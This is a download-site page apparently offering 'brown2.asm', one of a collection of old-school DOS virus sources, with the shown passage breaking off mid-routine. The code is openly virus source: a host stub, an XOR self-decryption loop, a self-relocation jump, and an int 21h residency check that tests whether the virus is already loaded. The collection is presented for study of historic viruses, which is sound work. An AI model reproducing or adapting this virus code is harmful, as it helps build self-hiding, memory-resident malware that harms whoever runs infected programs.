⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 brown2.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
        assume ss:codevir

pila    segment stack 'stack'
        db 64 dup ('12345678')
pila    ends


code    segment
anfitrion:
        assume cs:code, ds:code
        mov ah, 02h
        mov dl, 'z'
        int 21h
        mov ax, 4C00h
        int 21h
code    ends



codevir segment
        assume cs:codevir, ds:codevir
start:
        mov cx, (offset fincomienzo)-(offset comienzo)+(longi)+16
        mov si, offset comienzo   ;   Puesto por el compilador
bucleen:
        xor byte ptr cs:[si],00h
        xor byte ptr cs:[si],00h
        inc si
        loop bucleen

;***comienzo***
comienzo:
        call acanomas
acanomas label near
        pop ax
        add ax, offset fincomienzo - offset acanomas
        test al, 0Fh
        jz noinc
        add ax, 0010h
noinc:
        mov cl, 04h
        shr ax, cl
        mov cx, ax
        push cs
        pop bx
        add bx, cx
        xor ax, ax
        push cs

        push bx
        push ax
        retf                 ; Salto a OFS0
fincomienzo:
codevir ends

;***OFS0***
porfin  segment
        assume cs:porfin, ds:porfin
                             ; Estoy en offset 0 con el segmento anterior
                             ;   en la pila
        add cs:[segcsm], cx
        mov ah, 0DDh
        int 21h
        cmp ax, 'LO'
        mov cs:[segant], ds
        push cs              ; DS = Ac

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -